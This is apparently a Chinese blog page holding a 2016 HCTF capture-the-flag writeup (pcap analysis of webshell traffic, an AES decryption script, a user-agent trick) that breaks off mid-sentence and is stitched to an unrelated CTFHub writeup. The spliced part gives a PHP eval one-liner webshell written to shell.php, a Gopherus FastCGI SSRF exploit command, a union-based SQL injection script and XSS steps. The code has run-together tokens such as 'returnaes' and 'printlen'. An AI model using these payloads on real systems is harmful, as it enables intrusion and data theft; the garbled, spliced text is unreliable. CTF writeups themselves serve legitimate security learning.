2016hctf writeup

本文介绍了2016年HCTF比赛中涉及的多个挑战,包括通过Wireshark分析流量获取webshell解密flag、利用RESTful方法获取隐藏flag、修改NES文件内容以揭示信息、利用PHP伪协议和文件上传漏洞进行本地文件包含攻击,以及通过passthru函数执行系统命令获取服务器信息。

MISC杂项签到

http://139.224.54.27/webco1a/+_+.pcapng

用wireshark打开流量包,追踪TCP流,发现是一个webshell的流量,看到webshell控制端查看了远程服务器上的两个关键文件:function.py和flag

cat function.py:

#!/usr/bin/env python

# coding:utf-8

__author__ = 'Aklis'

 

from Crypto import Random

fromCrypto.Cipher import AES

 

import sys

import base64

 

 

def decrypt(encrypted, passphrase):

  IV = encrypted[:16]

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.decrypt(encrypted[16:])

 

 

def encrypt(message, passphrase):

  IV = message[:16]

length = 16

count = len(message)

padding = length - (count % length)

message = message + '\0' * padding

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.encrypt(message)

 

 

IV = 'YUFHJKVWEASDGQDH'

 

message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'

 

 

printlen(message)

 

example = encrypt(message, 'Qq4wdrhhyEWe4qBF')

print example

example = decrypt(example, 'Qq4wdrhhyEWe4qBF')

print example


 

cat flag:

mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==

flag明显是个base64编码后的字符串,将其解码后再用function.py和decrypt函数解密:

运行得到flag

 

Web2099年的flag

由ios99想到改user-agent,抓包改一下

 

WebRESTFUL

先用PUT方法传个参

查了一下RESTfu

以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST['cmd']);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='srdnlrlphq'")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值